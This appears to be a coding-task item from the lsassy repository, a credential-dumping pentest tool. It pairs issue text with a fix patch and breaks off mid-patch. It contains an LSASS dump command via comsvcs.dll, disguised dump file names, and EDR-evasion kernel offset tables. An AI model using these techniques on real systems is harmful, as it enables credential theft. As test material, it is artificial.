Repository: login-securite/lsassy (language: python)

Issue:
fix deployment of tests
fix #84
Fixed bug in `pretty_output.py` that broke the output
Hello @Hackndo,

I was using `lsassy` during training and I encountered a problem due to handling of empty variables inside the code:
```shell
lsassy -u 'mike' -p 'xxxxxxx' -d 'corp.com' -dc-ip 192.168.211.70 192.168.211.75 -vv
[*] MainThread lsassy v 3.1.8
[*] [Core] Targets: ['192.168.211.75']
[*] [Core] Created target: 1: 192.168.211.75
[*] 192.168.211.75 smb_session: <impacket.smbconnection.SMBConnection object at 0x7f977f72ad10>
[*] 192.168.211.75 SMB session opened
[*] 192.168.211.75 Connecting to C$
[*] 192.168.211.75 Authentication successful
[*] 192.168.211.75 Dumping via lsassy.dumpmethod.comsvcs
[*] 192.168.211.75 Exec method: <lsassy.exec.smb.Exec object at 0x7f977f2edf90>
[*] 192.168.211.75 Exec method: <lsassy.exec.wmi.Exec object at 0x7f977fe8ac90>
[*] 192.168.211.75 Exec method: <lsassy.exec.task.Exec object at 0x7f976c5a5f90>
[*] 192.168.211.75 Exec method: <lsassy.exec.mmc.Exec object at 0x7f977dc5a190>
[*] 192.168.211.75 Exec Methods: {'smb': <lsassy.exec.smb.Exec object at 0x7f977f2edf90>, 'wmi': <lsassy.exec.wmi.Exec object at 0x7f977fe8ac90>, 'task': <lsassy.exec.task.Exec object at 0x7f976c5a5f90>, 'mmc': <lsassy.exec.mmc.Exec object at 0x7f977dc5a190>}
[*] 192.168.211.75 Trying smb method
[*] 192.168.211.75 Building command - Exec Method has seDebugPrivilege: True | seDebugPrivilege needed: True | Powershell allowed: True | Copy executor: False
[*] 192.168.211.75 ['for /f "tokens=1,2 delims= " ^%A in (\'"tasklist /fi "Imagename eq lsass.exe" | find "lsass""\') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, #+0000^24 ^%B \\Windows\\Temp\\k8Y3.jpg full']
[*] 192.168.211.75 Transformed command: CMd.EXe /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, #+0000^24 ^%B \Windows\Temp\k8Y3.jpg full
[*] 192.168.211.75 Executing using lsassy.exec.smb
[*] 192.168.211.75 StringBinding ncacn_np:192.168.211.75[\pipe\svcctl]
[*] 192.168.211.75 Service 4VEHhDNS created
[*] 192.168.211.75 Service 4VEHhDNS deleted
[*] 192.168.211.75 /Windows/Temp//k8Y3.jpg handle acquired
[*] 192.168.211.75 Lsass dumped in C:\Windows\Temp\k8Y3.jpg (48559197 Bytes)
[*] 192.168.211.75 File C$/Windows/Temp//k8Y3.jpg deleted
[*] 192.168.211.75 Lsass dump deleted
[x] 192.168.211.75 An unknown error has occurred.
Traceback (most recent call last):
  File "/home/kali/.local/pipx/venvs/lsassy/lib/python3.11/site-packages/lsassy/core.py", line 208, in run
    Writer(credentials, tickets, masterkeys).write(
  File "/home/kali/.local/pipx/venvs/lsassy/lib/python3.11/site-packages/lsassy/writer.py", line 45, in write
    output = self.get_output(out_format, users_only, tickets, masterkeys)
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/.local/pipx/venvs/lsassy/lib/python3.11/site-packages/lsassy/writer.py", line 30, in get_output
    return output_method.get_output()
           ^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/.local/pipx/venvs/lsassy/lib/python3.11/site-packages/lsassy/output/pretty_output.py", line 58, in get_output
    - len(cred["domain"])
      ^^^^^^^^^^^^^^^^^^^
TypeError: object of type 'NoneType' has no len()
[*] 192.168.211.75 Cleaning...
[*] 192.168.211.75 dumper: <lsassy.dumpmethod.comsvcs.DumpMethod object at 0x7f977eb936d0>
[*] 192.168.211.75 file: <lsassy.impacketfile.ImpacketFile object at 0x7f977f2c9290>
[*] 192.168.211.75 session: <lsassy.session.Session object at 0x7f977dcf8b10>
[*] 192.168.211.75 Dumper cleaned
[*] 192.168.211.75 File closed
[*] 192.168.211.75 Object or File not found for deletion: SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)
[*] 192.168.211.75 Lsass dump deleted
[*] 192.168.211.75 SMB session closed
```
The problem is that it broke everything up without showing the output to the user. The problem is linked to the `pretty` default format. After refactoring a little bit the code, everything works well.

I took the opportunity to tidy things up to make the code easier to understand.

Best regards,
Kerberos Ticket Dump Enhancement
<!--
These comment won't show up when you submit the issue.
Before submitting an issue, check that you're using the latest version
Send as much details as possible.
 * For standalone lsassy, please use the -vv verbose level
 * For CME module, please use CrackMapExec --verbose flag
-->

## Version(s)

* lsassy : version 3.1.8
* CME : version 6

## Describe the Enhancement

As discussed it would be pretty useful if we could see the expiry datetime of the Kirbi tickets, potentially in their filename if not too long. Also in a universal date format, not with month before the day which is confusing for non-Americans :-). These tickets are generated from this command:

`lsassy 192.168.32.131 -u Administrator -p Password1 --users -K tickets -dc-ip 192.168.32.131`

This would help us priortise which ones are ending soonest and also allow us to pick and choose which ones we want to convert to a ccache file.

Current filenames:

![image](https://github.com/Hackndo/lsassy/assets/33097451/fa962be1-8395-4281-b128-7ee93d9ed1f1)






Discussion / hints:

Fix patch:
diff --git a/.github/workflows/lsassy.yml b/.github/workflows/lsassy.yml
index f157a97..f928cdd 100644
--- a/.github/workflows/lsassy.yml
+++ b/.github/workflows/lsassy.yml
@@ -7,7 +7,39 @@ on:
     branches: [ master ]
 
 jobs:
+  test:
+    runs-on: windows-latest
+
+    steps:
+      - name: Create new user
+        run: |
+          net user pixis P4ssw0rd /add
+      - name: Add to local admin
+        run: |
+          net localgroup Administrators pixis /add
+      - name: Update registry key
+        run: |
+          REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
+
+      - name: Checkout code
+        uses: actions/checkout@v2
+
+      - name: Setup Python
+        uses: actions/setup-python@v2
+        with:
+          python-version: '3.9'
+
+      - name: Install dependencies
+        run: |
+          pip install -r requirements.txt
+
+      - name: Run Lsassy Tests
+        run: |
+          python -m unittest discover tests
+
   build:
+    if: github.event.pull_request.merged == true
+    needs: test
     name: lsassy actions on ${{ matrix.os }}
     runs-on: ${{ matrix.os }}
     strategy:
@@ -20,7 +52,7 @@ jobs:
       uses: actions/checkout@v2
 
     - name: Setup on ${{ matrix.os }}
-      uses: actions/setup-python@v1
+      uses: actions/setup-python@v2
       with:
         python-version: 3.9
         architecture: x64
diff --git a/README.md b/README.md
index 96a3617..9e757cd 100644
--- a/README.md
+++ b/README.md
@@ -1,7 +1,7 @@
 # lsassy
-[![PyPI version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=py&type=6&v=v3.1.8&x2=0)](https://pypi.org/project/lsassy)
+[![PyPI version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=py&type=6&v=v3.1.9&x2=0)](https://pypi.org/project/lsassy)
 [![PyPI Statistics](https://img.shields.io/pypi/dm/lsassy.svg)](https://pypistats.org/packages/lsassy)
-[![Tests](https://github.com/hackndo/lsassy/workflows/Tests/badge.svg)](https://github.com/hackndo/lsassy/actions?workflow=Tests)
+[![Tests](https://github.com/hackndo/lsassy/actions/workflows/lsassy.yml/badge.svg)](https://github.com/hackndo/lsassy/actions?workflow=lsassy)
 [![Twitter](https://img.shields.io/twitter/follow/hackanddo?label=HackAndDo&style=social)](https://twitter.com/intent/follow?screen_name=hackanddo)
 
 <a href="https://asciinema.org/a/441582?autoplay=1" target="_blank"><img src="https://asciinema.org/a/441582.svg" width="80%"></a>
@@ -18,7 +18,7 @@ This tool uses [impacket](https://github.com/SecureAuthCorp/impacket) project to
 | [Advanced usage](#advanced-usage)            | Advanced lsassy usage with params explaination          |
 | [Add dump method](#add-dump-method)          | How to add a custom lsass dump method                   |
 | [Acknowledgments](#acknowledgments)          | Kudos to these people and tools                         |
-| [Official Discord](#official-discord-channel)| Official Discord channel                                |
+| [Official Discord](#official-discord)        | Official Discord server                                 |
 
 ## Warning
 
@@ -485,9 +485,9 @@ You can check dummy class for more comments and/or informations.
 * [Luis Rocha](https://twitter.com/countuponsec) for [SQLDumper technique](https://twitter.com/countuponsec/status/910969424215232518)
 * [Asaf Gilboa](https://mobile.twitter.com/asaf_gilboa) for [LsassSilentProcessExit technique](https://github.com/deepinstinct/LsassSilentProcessExit)
 
-## Official Discord Channel
+## Official Discord
 
-[![Porchetta Industries](https://discordapp.com/api/guilds/736724457258745996/widget.png?style=banner3)](https://discord.gg/sEkn3aa)
+[https://discord.hackndo.com](https://discord.hackndo.com)
 
 ## Known bugs
 
diff --git a/lsassy/__init__.py b/lsassy/__init__.py
index b7edc10..5341ea5 100644
--- a/lsassy/__init__.py
+++ b/lsassy/__init__.py
@@ -1,1 +1,1 @@
-__version__ = '3.1.8'
+__version__ = '3.1.9'
diff --git a/lsassy/core.py b/lsassy/core.py
index 97a418d..b055d6d 100644
--- a/lsassy/core.py
+++ b/lsassy/core.py
@@ -136,7 +136,7 @@ def run(self):
         dump_only = self.args.dump_only
         if parse_only and dump_only:
             lsassy_logger.error("Incompatible options dump_only and parse_only")
-            return Falses
+            return False
         keep_dump = self.args.keep_dump
         kerberos_dir = self.args.kerberos_dir
         masterkeys_file = self.args.masterkeys_file
diff --git a/lsassy/dumpmethod/__init__.py b/lsassy/dumpmethod/__init__.py
index eb06ea7..074f3a7 100644
--- a/lsassy/dumpmethod/__init__.py
+++ b/lsassy/dumpmethod/__init__.py
@@ -85,7 +85,6 @@ def upload(self, session):
             if not ImpacketFile.create_file(session, self.remote_share, self.remote_path, self.file, self.content):
                 lsassy_logger.error("{} upload error".format(self.name), exc_info=True)
                 return None
-            print("{} uploaded".format(self.name))
             self.uploaded = True
             return True
 
@@ -110,7 +109,8 @@ class IDumpMethod:
 
     ext = ["csv", "db", "dbf", "log", "sav", "sql", "tar", "xml", "fnt", "fon", "otf", "ttf", "bak", "cfg",
            "cpl", "cur", "dll", "drv", "icns", "ico", "ini", "lnk", "msi", "sys", "tmp", "doc", "docx", "odt",
-           "pdf", "rtf", "tex", "txt", "wpd", "png", "jpg"]
+           "pdf", "rtf", "tex", "txt", "wpd", "png", "jpg", "vhd", "vhdx", "avhd", "avhdx", "vsv", "iso", "rct",
+           "vmcx", "vmrs"]
 
     def __init__(self, session, timeout, time_between_commands, *args, **kwargs):
         self._session = session
diff --git a/lsassy/dumpmethod/comsvcs_stealth.py b/lsassy/dumpmethod/comsvcs_stealth.py
index 111c435..2e5d63e 100644
--- a/lsassy/dumpmethod/comsvcs_stealth.py
+++ b/lsassy/dumpmethod/comsvcs_stealth.py
@@ -33,14 +33,14 @@ def get_commands(self):
             
         cmd_command = [
             """for /f "tokens=1,2 delims= " ^%A in ('"{} /fi "Imagename eq {}.ex*" | find "lsass""') do rundll32.exe C:{}{} #+0000^24 ^%B {}{} full""".format(
-                tasklist, lsass, self.comsvcs_copy_path, self.comsvcs_copy_name, self.dump_path, self.dump_name
+                tasklist, lsass, self.comsvcs_copy_path, self.comsvcs_copy_name, self.dump_path, self.dump_name + ".log"
             ),
             copy_command
         ]
 
         pwsh_command = [
             """rundll32.exe C:{}{} `#+0000^24 (Get-Process {}).Id {}{} full""".format(
-                 self.comsvcs_copy_path, self.comsvcs_copy_name, lsass, self.dump_path, self.dump_name
+                 self.comsvcs_copy_path, self.comsvcs_copy_name, lsass, self.dump_path, self.dump_name + ".log"
             ),
             copy_command
         ]
diff --git a/lsassy/dumpmethod/edrsandblast.py b/lsassy/dumpmethod/edrsandblast.py
index faf2a73..f7295e5 100644
--- a/lsassy/dumpmethod/edrsandblast.py
+++ b/lsassy/dumpmethod/edrsandblast.py
@@ -5,10 +5,19 @@
 import random
 import string
 import subprocess
+import sys
+import threading
+from concurrent.futures import ThreadPoolExecutor
+
+CSVLock = threading.Lock()
 
 from lsassy.dumpmethod import IDumpMethod, Dependency
 from lsassy.logger import lsassy_logger
 
+machineType = dict(x86=332, x64=34404)
+knownImageVersions = dict(ntoskrnl=list(), wdigest=list())
+extensions_by_mode = dict(ntoskrnl="exe", wdigest="dll")
+
 
 class DumpMethod(IDumpMethod):
     def __init__(self, session, timeout, time_between_commands):
@@ -36,7 +45,7 @@ def prepare(self, options):
                 except Exception as e:
                     return None
                 return None
-        self.ntoskrnl.content = self.get_offsets("{}{}".format(tmp_dir, self.tmp_ntoskrnl))
+        self.ntoskrnl.content = self.extractOffsets("{}{}".format(tmp_dir, self.tmp_ntoskrnl), "ntoskrnl")
 
         if self.ntoskrnl.content is not None:
             lsassy_logger.info("ntoskrnl offsets extracted")
@@ -62,7 +71,11 @@ def get_commands(self, dump_path=None, dump_name=None, no_powershell=False):
         }
 
     def run(self, args, **kargs):
-        return subprocess.run(args, shell=False, **kargs)
+        """Wrap subprocess.run to works on Windows and Linux"""
+        # Windows needs shell to be True, to locate binary automatically
+        # On Linux, shell needs to be False to manage lists in args
+        shell = sys.platform in ["win32"]
+        return subprocess.run(args, shell=shell, **kargs)
 
     def get_symbol_offset(self, symbols_info, symbol_name):
         for line in symbols_info:
@@ -88,492 +101,82 @@ def get_file_version(self, path):
             line = line.strip()
             if line.startswith("FileVersion:"):
                 return [int(frag) for frag in line.split(" ")[-1].split(".")]
-        return False
 
-    def extractOffsets(self, input_file):
-        known_offsets = {
-            "ntoskrnl_9600-20111.exe": ["2dac50", "2daa50", "2da850", "67a", "0", "20", "50"],
-            "ntoskrnl_10240-16384.exe": ["35d2e0", "35d0e0", "35cee0", "6aa", "0", "20", "50"],
-            "ntoskrnl_10240-17394.exe": ["35d420", "35d220", "35d020", "6aa", "0", "20", "50"],
-            "ntoskrnl_10240-17443.exe": ["35c420", "35c220", "35c020", "6aa", "0", "20", "50"],
-            "ntoskrnl_10240-17446.exe": ["35c420", "35c220", "35c020", "6aa", "0", "20", "50"],
-            "ntoskrnl_10240-17488.exe": ["35c3e0", "35c1e0", "35bfe0", "6aa", "0", "20", "50"],
-            "ntoskrnl_10240-17533.exe": ["35c3e0", "35c1e0", "35bfe0", "6aa", "0", "20", "50"],
-            "ntoskrnl_10240-17609.exe": ["35c3e0", "35c1e0", "35bfe0", "6aa", "0", "20", "50"],
-            "ntoskrnl_10240-17643.exe": ["35c3e0", "35c1e0", "35bfe0", "6aa", "0", "20", "50"],
-            "ntoskrnl_10240-17709.exe": ["35c3e0", "35c1e0", "35bfe0", "6aa", "0", "20", "50"],
-            "ntoskrnl_10240-17738.exe": ["366520", "366320", "366120", "6b2", "0", "20", "50"],
-            "ntoskrnl_10240-17770.exe": ["366520", "366320", "366120", "6b2", "0", "20", "50"],
-            "ntoskrnl_10240-17797.exe": ["366520", "366320", "366120", "6b2", "0", "20", "50"],
-            "ntoskrnl_10240-17831.exe": ["366520", "366320", "366120", "6b2", "0", "20", "50"],
-            "ntoskrnl_10240-17861.exe": ["3664e0", "3662e0", "3660e0", "6b2", "0", "20", "50"],
-            "ntoskrnl_10240-17889.exe": ["3644e0", "3642e0", "3640e0", "6b2", "0", "20", "50"],
-            "ntoskrnl_10240-17914.exe": ["3644e0", "3642e0", "3640e0", "6b2", "0", "20", "50"],
-            "ntoskrnl_10240-17976.exe": ["3694e0", "3692e0", "3690e0", "6b2", "0", "20", "50"],
-            "ntoskrnl_10240-18005.exe": ["3694e0", "3692e0", "3690e0", "6b2", "0", "20", "50"],
-            "ntoskrnl_10240-18036.exe": ["369520", "369320", "369120", "6b2", "0", "20", "50"],
-            "ntoskrnl_10240-18063.exe": ["369520", "369320", "369120", "6b2", "0", "20", "50"],
-            "ntoskrnl_10240-18094.exe": ["369520", "369320", "369120", "6b2", "0", "20", "50"],
-            "ntoskrnl_10240-18132.exe": ["369520", "369320", "369120", "6b2", "0", "20", "50"],
-            "ntoskrnl_10240-18158.exe": ["369520", "369320", "369120", "6b2", "0", "20", "50"],
-            "ntoskrnl_10240-18275.exe": ["369520", "369320", "369120", "6b2", "0", "20", "50"],
-            "ntoskrnl_10240-18303.exe": ["369520", "369320", "369120", "6b2", "0", "20", "50"],
-            "ntoskrnl_10240-18427.exe": ["367520", "367320", "367120", "6b2", "0", "20", "50"],
-            "ntoskrnl_10240-18452.exe": ["367520", "367320", "367120", "6b2", "0", "20", "50"],
-            "ntoskrnl_10240-18485.exe": ["3684e0", "3682e0", "3680e0", "6b2", "0", "20", "50"],
-            "ntoskrnl_10240-18545.exe": ["3684e0", "3682e0", "3680e0", "6b2", "0", "20", "50"],
-            "ntoskrnl_10240-18575.exe": ["3684e0", "3682e0", "3680e0", "6b2", "0", "20", "50"],
-            "ntoskrnl_10240-18608.exe": ["3684e0", "3682e0", "3680e0", "6b2", "0", "20", "50"],
-            "ntoskrnl_10240-18638.exe": ["3684e0", "3682e0", "3680e0", "6b2", "0", "20", "50"],
-            "ntoskrnl_10240-18666.exe": ["367560", "367360", "367160", "6b2", "0", "20", "50"],
-            "ntoskrnl_10240-18725.exe": ["367560", "367360", "367160", "6b2", "0", "20", "50"],
-            "ntoskrnl_10240-18756.exe": ["367560", "367360", "367160", "6b2", "0", "20", "50"],
-            "ntoskrnl_10240-18841.exe": ["367560", "367360", "367160", "6b2", "0", "20", "50"],
-            "ntoskrnl_10240-18906.exe": ["367560", "367360", "367160", "6b2", "0", "20", "50"],
-            "ntoskrnl_10586-0.exe": ["317180", "316f80", "316d80", "6b2", "0", "20", "50"],
-            "ntoskrnl_10586-1176.exe": ["3161c0", "315fc0", "315dc0", "6b2", "0", "20", "50"],
-            "ntoskrnl_10586-1177.exe": ["3161c0", "315fc0", "315dc0", "6b2", "0", "20", "50"],
-            "ntoskrnl_10586-1295.exe": ["3161c0", "315fc0", "315dc0", "6b2", "0", "20", "50"],
-            "ntoskrnl_10586-1356.exe": ["31a2c0", "31a0c0", "319ec0", "6ba", "0", "20", "50"],
-            "ntoskrnl_10586-1417.exe": ["31a2c0", "31a0c0", "319ec0", "6ba", "0", "20", "50"],
-            "ntoskrnl_10586-1478.exe": ["31a2c0", "31a0c0", "319ec0", "6ba", "0", "20", "50"],
-            "ntoskrnl_10586-1540.exe": ["31a300", "31a100", "319f00", "6ba", "0", "20", "50"],
-            "ntoskrnl_14393-0.exe": ["33bba0", "33b9a0", "33b7a0", "6c2", "0", "20", "50"],
-            "ntoskrnl_14393-1198.exe": ["335860", "335660", "335460", "6c2", "0", "20", "50"],
-            "ntoskrnl_14393-1532.exe": ["3348a0", "3346a0", "3344a0", "6c2", "0", "20", "50"],
-            "ntoskrnl_14393-1670.exe": ["3348a0", "3346a0", "3344a0", "6c2", "0", "20", "50"],
-            "ntoskrnl_14393-1737.exe": ["3348a0", "3346a0", "3344a0", "6c2", "0", "20", "50"],
-            "ntoskrnl_14393-1770.exe": ["3348a0", "3346a0", "3344a0", "6c2", "0", "20", "50"],
-            "ntoskrnl_14393-2189.exe": ["33ea20", "33e820", "33e620", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-2214.exe": ["33ea20", "33e820", "33e620", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-2248.exe": ["33da60", "33d860", "33d660", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-2273.exe": ["33da60", "33d860", "33d660", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-2312.exe": ["33ca20", "33c820", "33c620", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-2363.exe": ["33ca20", "33c820", "33c620", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-2395.exe": ["33bb60", "33b960", "33b760", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-2430.exe": ["338b60", "338960", "338760", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-2485.exe": ["338b20", "338920", "338720", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-2551.exe": ["338b20", "338920", "338720", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-2580.exe": ["338b20", "338920", "338720", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-2608.exe": ["338b20", "338920", "338720", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-2636.exe": ["338be0", "3389e0", "3387e0", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-2665.exe": ["338be0", "3389e0", "3387e0", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-2724.exe": ["338be0", "3389e0", "3387e0", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-2791.exe": ["338b20", "338920", "338720", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-2848.exe": ["338b20", "338920", "338720", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-2906.exe": ["338b20", "338920", "338720", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-2969.exe": ["339a20", "339820", "339620", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-3085.exe": ["339a20", "339820", "339620", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-3115.exe": ["339a20", "339820", "339620", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-3143.exe": ["339a20", "339820", "339620", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-3204.exe": ["339a20", "339820", "339620", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-3241.exe": ["339a60", "339860", "339660", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-3269.exe": ["339a60", "339860", "339660", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-3297.exe": ["339a60", "339860", "339660", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-3321.exe": ["339a60", "339860", "339660", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-3383.exe": ["339a60", "339860", "339660", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-3442.exe": ["339a60", "339860", "339660", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-3471.exe": ["33ae60", "33ac60", "33aa60", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-3503.exe": ["33aee0", "33ace0", "33aae0", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-3541.exe": ["33aee0", "33ace0", "33aae0", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-3564.exe": ["33aee0", "33ace0", "33aae0", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-3595.exe": ["33aee0", "33ace0", "33aae0", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-3630.exe": ["33aee0", "33ace0", "33aae0", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-3659.exe": ["33aee0", "33ace0", "33aae0", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-3686.exe": ["33aee0", "33ace0", "33aae0", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-3750.exe": ["33aee0", "33ace0", "33aae0", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-3755.exe": ["33aee0", "33ace0", "33aae0", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-3808.exe": ["33aee0", "33ace0", "33aae0", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-3866.exe": ["33ae60", "33ac60", "33aa60", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-3930.exe": ["33aee0", "33ace0", "33aae0", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-3986.exe": ["33aee0", "33ace0", "33aae0", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-4046.exe": ["33aee0", "33ace0", "33aae0", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-4104.exe": ["33aee0", "33ace0", "33aae0", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-4169.exe": ["33aee0", "33ace0", "33aae0", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-4225.exe": ["33aee0", "33ace0", "33aae0", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-4283.exe": ["33aee0", "33ace0", "33aae0", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-4350.exe": ["33aee0", "33ace0", "33aae0", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-4402.exe": ["33aee0", "33ace0", "33aae0", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-4467.exe": ["33aee0", "33ace0", "33aae0", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-4470.exe": ["33aee0", "33ace0", "33aae0", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-4530.exe": ["33ae60", "33ac60", "33aa60", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-4583.exe": ["33ae60", "33ac60", "33aa60", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-4651.exe": ["33ae60", "33ac60", "33aa60", "6ca", "0", "20", "50"],
-            "ntoskrnl_14393-576.exe": ["33bca0", "33baa0", "33b8a0", "6c2", "0", "20", "50"],
-            "ntoskrnl_14393-726.exe": ["335860", "335660", "335460", "6c2", "0", "20", "50"],
-            "ntoskrnl_14393-953.exe": ["335860", "335660", "335460", "6c2", "0", "20", "50"],
-            "ntoskrnl_15063-0.exe": ["382290", "382090", "381e90", "6ca", "341ea8", "20", "50"],
-            "ntoskrnl_15063-1029.exe": ["389550", "389350", "389150", "6ca", "348fa8", "20", "50"],
-            "ntoskrnl_15063-1088.exe": ["3894d0", "3892d0", "3890d0", "6ca", "348fb8", "20", "50"],
-            "ntoskrnl_15063-1155.exe": ["387510", "387310", "387110", "6ca", "346f68", "20", "50"],
-            "ntoskrnl_15063-1206.exe": ["387510", "387310", "387110", "6ca", "346f68", "20", "50"],
-            "ntoskrnl_15063-1266.exe": ["384410", "384210", "384010", "6ca", "343f48", "20", "50"],
-            "ntoskrnl_15063-13.exe": ["382290", "382090", "381e90", "6ca", "341ea8", "20", "50"],
-            "ntoskrnl_15063-1324.exe": ["385490", "385290", "385090", "6ca", "344f88", "20", "50"],
-            "ntoskrnl_15063-1387.exe": ["385490", "385290", "385090", "6ca", "344f98", "20", "50"],
-            "ntoskrnl_15063-1418.exe": ["385490", "385290", "385090", "6ca", "344f98", "20", "50"],
-            "ntoskrnl_15063-1446.exe": ["385490", "385290", "385090", "6ca", "344fa8", "20", "50"],
-            "ntoskrnl_15063-1478.exe": ["385450", "385250", "385050", "6ca", "344f68", "20", "50"],
-            "ntoskrnl_15063-1563.exe": ["385450", "385250", "385050", "6ca", "344f68", "20", "50"],
-            "ntoskrnl_15063-1596.exe": ["385450", "385250", "385050", "6ca", "344f68", "20", "50"],
-            "ntoskrnl_15063-1631.exe": ["385450", "385250", "385050", "6ca", "344f68", "20", "50"],
-            "ntoskrnl_15063-1689.exe": ["3854d0", "3852d0", "3850d0", "6ca", "344fd8", "20", "50"],
-            "ntoskrnl_15063-1746.exe": ["3854d0", "3852d0", "3850d0", "6ca", "344fd8", "20", "50"],
-            "ntoskrnl_15063-1805.exe": ["3853d0", "3851d0", "384fd0", "6ca", "344e78", "20", "50"],
-            "ntoskrnl_15063-1928.exe": ["385450", "385250", "385050", "6ca", "344e48", "20", "50"],
-            "ntoskrnl_15063-1987.exe": ["385450", "385250", "385050", "6ca", "344e48", "20", "50"],
-            "ntoskrnl_15063-2017.exe": ["385450", "385250", "385050", "6ca", "344e48", "20", "50"],
-            "ntoskrnl_15063-2045.exe": ["385350", "385150", "384f50", "6ca", "344e48", "20", "50"],
-            "ntoskrnl_15063-2076.exe": ["385350", "385150", "384f50", "6ca", "344e48", "20", "50"],
-            "ntoskrnl_15063-2106.exe": ["385350", "385150", "384f50", "6ca", "344e48", "20", "50"],
-            "ntoskrnl_15063-2283.exe": ["385410", "385210", "385010", "6ca", "344e68", "20", "50"],
-            "ntoskrnl_15063-296.exe": ["382290", "382090", "381e90", "6ca", "341ea8", "20", "50"],
-            "ntoskrnl_15063-674.exe": ["3822d0", "3820d0", "381ed0", "6ca", "341e88", "20", "50"],
-            "ntoskrnl_15063-675.exe": ["3822d0", "3820d0", "381ed0", "6ca", "341e88", "20", "50"],
-            "ntoskrnl_15063-786.exe": ["382310", "382110", "381f10", "6ca", "341ec8", "20", "50"],
-            "ntoskrnl_15063-850.exe": ["389450", "389250", "389050", "6ca", "348fb8", "20", "50"],
-            "ntoskrnl_15063-909.exe": ["389510", "389310", "389110", "6ca", "348fa8", "20", "50"],
-            "ntoskrnl_15063-966.exe": ["389550", "389350", "389150", "6ca", "348fa8", "20", "50"],
-            "ntoskrnl_16299-1004.exe": ["39fec0", "3a00c0", "39fcc0", "6ca", "35dac0", "20", "50"],
-            "ntoskrnl_16299-1029.exe": ["39ff00", "3a0100", "39fd00", "6ca", "35dac0", "20", "50"],
-            "ntoskrnl_16299-1087.exe": ["39ff00", "3a0100", "39fd00", "6ca", "35dac0", "20", "50"],
-            "ntoskrnl_16299-1120.exe": ["39ff00", "3a0100", "39fd00", "6ca", "35dac0", "20", "50"],
-            "ntoskrnl_16299-1146.exe": ["3a0d00", "3a0f00", "3a0b00", "6ca", "35e8a0", "20", "50"],
-            "ntoskrnl_16299-1182.exe": ["3a0d00", "3a0f00", "3a0b00", "6ca", "35e8a0", "20", "50"],
-            "ntoskrnl_16299-1217.exe": ["3a1000", "3a0c00", "3a0e00", "6ca", "35e968", "20", "50"],
-            "ntoskrnl_16299-125.exe": ["398a80", "398c80", "398e80", "6ca", "356980", "20", "50"],
-            "ntoskrnl_16299-1331.exe": ["3a1000", "3a0c00", "3a0e00", "6ca", "35e968", "20", "50"],
-            "ntoskrnl_16299-1364.exe": ["3a1000", "3a0c00", "3a0e00", "6ca", "35e968", "20", "50"],
-            "ntoskrnl_16299-1419.exe": ["3a1040", "3a0c40", "3a0e40", "6ca", "35e988", "20", "50"],
-            "ntoskrnl_16299-1448.exe": ["3a1040", "3a0c40", "3a0e40", "6ca", "35e988", "20", "50"],
-            "ntoskrnl_16299-15.exe": ["398c80", "398e80", "398a80", "6ca", "356908", "20", "50"],
